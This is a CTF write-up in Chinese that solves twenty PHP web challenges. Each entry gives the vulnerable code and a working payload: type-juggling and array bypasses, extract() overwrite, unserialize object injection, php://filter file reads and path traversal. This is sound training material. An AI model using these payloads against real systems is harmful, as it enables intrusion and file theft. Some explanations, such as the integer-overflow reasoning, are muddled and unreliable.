1.WEB-Filter(过滤绕过)
<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
} hacker!!!
要满足的条件
num
参数通过is_numeric
函数的检测,并且不等于36
,去空
后依然不等于36
,经过filter
后等于36
解题
直接用下面这段代码跑出符合条件的参数URL
: %0C36
<?php
function filter($num)
{
$num = str_replace("0x", "1", $num);
$num = str_replace("0", "1", $num);
$num = str_replace(".", "1", $num);
$num = str_replace("e", "1", $num);
$num = str_replace("+", "1", $num);
return $num;
}
for ($i = 0; $i < 129; $i++) {
$num = chr($i) . '36';
if (trim($num) !== '36' && is_numeric($num) && $num !== '36' && filter($num) == '36') {
echo urlencode($num) . "\n";
}
}
Payload
?num=%0C36
2.WEB-简单的正则
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_GET['f'])){
$f = $_GET['f'];
if(preg_match('/.+?zkaqzkaq/is', $f)){
die('bye!');
}
if(stripos($f, 'zkaqzkaq') === FALSE){
die('bye!!');
}
echo $flag;
}
解题
- 正则表达式检查:
if(preg_match('/.+?zkaqzkaq/is', $f))
这一行代码使用了正则表达式来检查变量$f
中是否包含字符串 "zkaqzkaq"。这里的正则表达式/.+?zkaqzkaq/is
意味着它会寻找任何紧跟在任意字符后面的 "zkaqzkaq" 字符串。如果找到了,脚本就会终止执行。 - 字符串位置检查:
if(stripos($f, 'zkaqzkaq') === FALSE)
这一行代码检查字符串 "zkaqzkaq" 是否在变量$f
中。如果没有找到,脚本也会终止。
绕过
preg_match
:当preg_match
遇到数组时,它无法进行匹配,因此返回false
。这意味着,如果我们通过将$f
设置为数组,可以绕过preg_match('/.+?zkaqzkaq/is', $f)
的检查。stripos
:同样,stripos
在处理数组时会返回NULL
。NULL
和FALSE
在PHP中是不同的,因此stripos($f, 'zkaqzkaq') === FALSE
这个比较在$f
是数组时不成立。
Payload
1. ?f=zkaqzkaq[]
2. ?f[]=xx
3.WEB-PHP弱类型1
<?php
error_reporting(0);
show_source(__FILE__);
include('flag.php');
$number = $_GET['num'];
if(isset($number)){
if($number != '123'){
if(intval($number) == 123){
echo $flag;
}else{
echo $flag_e;
}
}else{
echo 'bing_go_rule';
}
}else{
echo '你倒是输入点儿东西...';
} 你倒是输入点儿东西...
解题
关键点在于$number != '123'
和intval($number) == 123
这两个条件。
要满足这两个条件,我们需要构造一个字符串,它不等于'123',但是当使用intval
函数转换为整数时,它等于123。
intval
函数会从字符串的开始部分读取数字,直到遇到非数字字符为止。所以,我们可以在数字123后加上一些非数字字符来构造这样的字符串。
payload
?num=123a
4.PHP弱类型2
<?php
error_reporting(0);
highlight_file(__FILE__);
$num = $_GET['num'];
if(isset($num) && is_numeric($num)){
die("不允许数字");
}else if($num > 1024){
echo file_get_contents('../flag');
}
解题
在PHP中,如果一个字符串以数字开头,那么在进行数值比较时,这个字符串会被当作数字处理。例如,字符串 "1234abc" 会被视为数字 1234。利用这一点,可以绕过 is_numeric($num)
的检查,因为这个函数只检查变量是否为数字或数字字符串
Payload
?num=1025abc
5.WEB-PHP弱类型3
<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
$num = $_GET['number'];
$b = 100;
if(isset($num)){
if(strlen($num) < 3){
if(strcmp($num,$b) == 0){
echo $flag;
}else{
echo 'flag{买了佛冷}';
}
}else{
echo '请确保输入的字符数量少于3位';
}
}else{
echo '劳烦大佬输入点东西';
}
解题
strcmp()
函数如果其任一参数不是字符串,strcmp()
会返回NULL。因此,如果$num
不是字符串,strcmp($num, $b)
的结果将是NULL。==
运算符进行比较时,PHP 会进行类型的强制转换。在这个过程中,NULL
被视为等于0
Payload
?number[]=11111
6.WEB-strlen+intval绕过
<?php
error_reporting(0);
highlight_file(__FILE__);
$num = $_GET['num'];
if(isset($num) && strlen($num) <= 4 && intval($num + 1) > 500000)
{
echo file_get_contents('../flag');
}
解题
intval
函数试图将$num + 1
转换为一个整数。在PHP中,当一个字符串如"1e1234"
被用在数值上下文中时,由于e
后面跟随的数字表示指数,"1e1234"在经过intval
转换时候会被认为1 * 10^1234
Payload
?num=9e9
7.WEB-简单反序列化(考点:反序列化)
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class Fun{
public $name = 'vFREE';
public $age = '19';
public $look = 'handsome';
}
$fun = new Fun();
$ser = serialize($fun);
$un = $_GET['un'];
if($un == $ser){
echo $flag;
}else{
echo 'flag{一道很简单的反序列化}';
}
解题
代码中创建了一个Fun
类的实例$fun
,并将其序列化成字符串$ser
。然后,代码比较由GET
请求传入的un
参数和$ser
。如果两者相等,则显示$flag
。
Payload
<?php
class Fun
{
public $name = 'vFREE';
public $age = '19';
public $look = 'handsome';
}
$fun = new Fun();
$payload = serialize($fun);
echo $payload;
最终Payload:
?un=O:3:"Fun":3:{s:4:"name";s:5:"vFREE";s:3:"age";s:2:"19";s:4:"look";s:8:"handsome";}
8.WEB-登录(考点:sha1函数绕过)
打开靶场,F12
看见源码
<p>Your password can not be your username!</p><!--else if (sha1($_GET['username']) === sha1($_GET['password']))
die('Flag: '.$flag);-->
解题
传递?username=1&password=1
提示Your password can not be your username!(账号密码不能相同)
对于php强比较和弱比较:md5(),sha1()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
Payload
?username[]=0&password[]=1
9.WEB-谁的平方等于零?
<?php
error_reporting(0);
highlight_file(__FILE__);
$a = $_GET['a'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a*$a==0){
echo file_get_contents('../flag');
}
解题
php有一个特性是,小数点后超过161位做平方运算时会被截断
Payload
?a=1e-162
10.WEB-Easy_PHP
<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
$str = $_GET['str'];
$res = strpos($str, 'zkaq');
if (isset($str)) {
if ($res == 1) {
echo '看吧,so easy!!!flag > ' . $flag;
} else {
echo '再try一try!';
}
} else {
echo 'easy_php~';
}
解题
strpos ( string $haystack , mixed $needle [, int $offset = 0 ] ) : int
返回 needle 在 haystack 中首次出现的数字位置,同时注意字符串位置是从0开始,而不是从1开始的
Payload
?str=azkaq
11.WEB-Easy_Extract
<?php
error_reporting(0);
show_source('./index.php');
include('./flag.php');
$auth = 100;
extract($_GET);
if (isset($_GET)) {
if ($auth == 1000) {
echo $flag;
} else {
echo 'Hello,World!';
}
} else {
echo '你倒是输入点东西...';
}
解题
extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int
本函数用来将变量从数组中导入到当前的符号表中。
检查每个键名看是否可以作为一个合法的变量名,同时也检查和符号表中已有的变量名的冲突。
Payload
?auth=1000
12.WEB-Easy_Extract-2
<?php
error_reporting(0);
show_source('./index.php');
include('./flag.php');
extract($_GET);
if (!empty($ac)) {
$f = trim(file_get_contents($fn));
if ($ac === $f) {
echo "<p>This is flag:" . " $flag</p>";
} else {
echo "<p>sorry!</p>";
}
//目录下有个txt文件哦
}
解题
提示目录下有个txt文件哦
猜测为flag.txt
,访问得到文件内容flags
Payload
?fn=flag.txt&ac=flags
13.WEB-JSON_DECODE
<?php
error_reporting(0);
highlight_file(__FILE__);
$num = $_GET['num'];
if (!isset($num) || (strlen($num) == 0)) die("no");
$b = json_decode($num);
if ($y = $b === NULL) {
if ($y === true) {
echo file_get_contents('../flag');
}
} else {
die('no');
}
解题
json_decode ( string $json [, bool $assoc = FALSE [, int $depth = 512 [, int $options = 0 ]]] ) : mixed
接受一个 JSON 编码的字符串并且把它转换为 PHP 变量通过恰当的 PHP 类型返回在 json 中编码的数据。值true, false 和 null 会相应地返回 TRUE, FALSE 和 NULL。 如果 json 无法被解码, 或者编码数据深度超过了递归限制的话,将会返回NULL 。
关键漏洞在于这个判断语句:if ($y = $b === NULL)
,这里使用了一个赋值操作符(=
)而不是比较操作符(==
或===
),这意味着$y
实际上被赋值为$b === NULL
的结果(即true
或false
)。所以这里只需要传递一个格式错误的Json就行了
Payload
?num={[}
14.WEB-文件
<?php
error_reporting(0);
function filter($file)
{
if (preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i', $file)) {
die("hacker!");
} else {
return $file;
}
}
$file = $_GET['file'];
if (!is_file($file)) {
highlight_file(filter($file));
} else {
echo "hacker!";
}
highlight_file(__FILE__);
解题
is_file ( string $filename ) : bool
判断给定文件名是否为一个正常的文件。
因此传递的参数不能让is_file检测出是文件,并且 highlight_file可以识别为文件。这时候可以利用php伪协议。
PHP伪协议详解-CSDN博客
Payload
可以直接用不带任何过滤器的filter伪协议
?file=php://filter/resource=flag.php
也可以用一些没有过滤掉的编码方式和转换方式
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
?file=compress.zlib://flag.php
15.WEB-MD5()
<?php
error_reporting(0);
include('flag.php');
show_source('./index.php');
$num = $_GET['num'];
if (isset($num)) {
if ($num !== '0') {
if (md5($num) == False) {
echo $flag;
} else {
echo 'no_flag';
}
} else {
echo '不能为0';
}
} else {
echo '你倒是输入点东西啊!!!';
}
?>
解题
对于php强比较和弱比较:md5(),sha1()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
Payload
?num[]=1
16.WEB-数组KEY溢出
<?php
error_reporting(0);
highlight_file(__FILE__);
$a = $_GET['a'];
if ($array[++$a] = 1) {
if ($array[] = 1) {
echo "nonono";
} else {
echo file_get_contents('../flag');
}
}
解题
PHP 中的数组索引是整数,当整数超出 PHP 整数的最大值时,会发生溢出。在 32 位系统中,PHP 的整数最大值是 2^31-1,即 2147483647;在 64 位系统中,最大值是 2^63-1。
为了使
$array[]=1
这个操作失败,需要$a
在自增后能够让$array
的下一个索引位置已被占用。这可以通过整数溢出来实现:
- 将
$a
设置为 PHP 整数的最大值。当++$a
执行时,由于整数溢出,$a
会变成一个负数(在 32 位系统中,会变成 -2147483648)。- 由于
$array[++$a]=1
会在负数索引处设置值,$array
的下一个正数索引(通常是 0)仍然是空的,因此$array[]=1
仍会在索引 0 处赋值。- 但是,如果我们让
$a
刚好小于 PHP 的整数最大值,那么自增后$a
会变成最大值,然后$array[++$a]=1
会在最大整数索引处赋值。此时$array
下一个可用索引会超出整数范围,从而导致$array[]=1
失败。
Payload
在 32 位 PHP 版本中,将 $a 设置为 2147483646(2^31-2)
在 64 位 PHP 版本中,将 $a 设置为 9223372036854775806(2^63-2)
17.WEB-不存在的伪协议头
<?php
highlight_file(__FILE__);
error_reporting(0);
if (!preg_match('/^http/is', $_GET['a'])) {
die("no hack");
}
echo file_get_contents($_GET['a']);
解题
当
file_get_contents()
函数遇到不认识的伪协议头时,它会将这个伪协议头当做文件夹来处理。这意味着我们可以通过精心构造的伪协议头来读取服务器上的文件。
file_get_contents()
,在处理未知的伪协议头时,会将其视为文件路径的一部分。
Payload
?a=httpa://../../../../../flag
18.WEB-反序列化
打开网页,输出当前时间,查看源码发现
<!-- GET: ?source= -->(当前时间)
尝试传参?source
得到源码:
<?php
error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct()
{
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct()
{
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if (isset($_GET['source'])) {
highlight_file(__FILE__);
die(0);
}
$ppp = unserialize($_GET["data"]);
解题
观察源代码,不传递source
参数时就对data
参数执行反序列化,直接构造Payload
输出flag
<?php
class HelloPhp
{
public $a;
public $b;
public function __construct()
{
$this->a = 'flag.php';
$this->b = "highlight_file";
}
}
$c = new HelloPhp;
echo serialize($c);
输出:O:8:"HelloPhp":2:{s:1:"a";s:8:"flag.php";s:1:"b";s:14:"highlight_file";}
Payload
?data=O:8:"HelloPhp":2:{s:1:"a";s:8:"flag.php";s:1:"b";s:14:"highlight_file";}
19.WEB-MD5()-2
<?php
error_reporting(0);
highlight_file(__FILE__);
if ($_GET['a'] != $_GET['b']) {
if (md5($_GET['a']) == md5($_GET['b']))
echo file_get_contents('../flag');
else
echo 'no';
}
解题
参数a
!=参数b
,但两个参数值的md5相同
md5()
函数不能处理数组,传递数组会返回NULL
,因此可以采用数组绕过PHP弱比较时,会把数字开头的数字+e开头的认为是科学计数法,因此可以找出两个md5都是
0e
开头的字符串绕过,可以使用下面这个脚本找出<?php $a = 0; while (true) { if (md5($a) == 0) { echo $a . PHP_EOL; } $a++; }
Payload
1. ?a=240610708&b=314282422
2. ?a[]=1&b[]=2
20.WEB-MD5()-3
<?php
error_reporting(0);
highlight_file(__FILE__);
if ($_GET['a'] != $_GET['b']) {
if (md5($_GET['a']) === md5($_GET['b']))
echo file_get_contents('../flag');
else
echo 'no';
}
解题
- 类型检查:强比较(
===
)检查值和类型,而弱比较(==
)仅检查值。- 类型转换:弱比较(
==
)在比较前会尝试将值转换为相同类型,而强比较(===
)不进行类型转换。
和19.WEB-MD5()-2-2)类似,但弱比较换成了强比较,因此只能使用数组绕过
Payload
?a[]=1&b[]=2
文章目录
- 1.WEB-Filter(过滤绕过)
- 2.WEB-简单的正则
- 3.WEB-PHP弱类型1
- 4.PHP弱类型2
- 5.WEB-PHP弱类型3
- 6.WEB-strlen+intval绕过
- 7.WEB-简单反序列化(考点:反序列化)
- 8.WEB-登录(考点:sha1函数绕过)
- 9.WEB-谁的平方等于零?
- 10.WEB-Easy_PHP
- 11.WEB-Easy_Extract
- 12.WEB-Easy_Extract-2
- 13.WEB-JSON_DECODE
- 14.WEB-文件
- 15.WEB-MD5()
- 16.WEB-数组KEY溢出
- 17.WEB-不存在的伪协议头
- 18.WEB-反序列化
- 19.WEB-MD5()-2
- 20.WEB-MD5()-3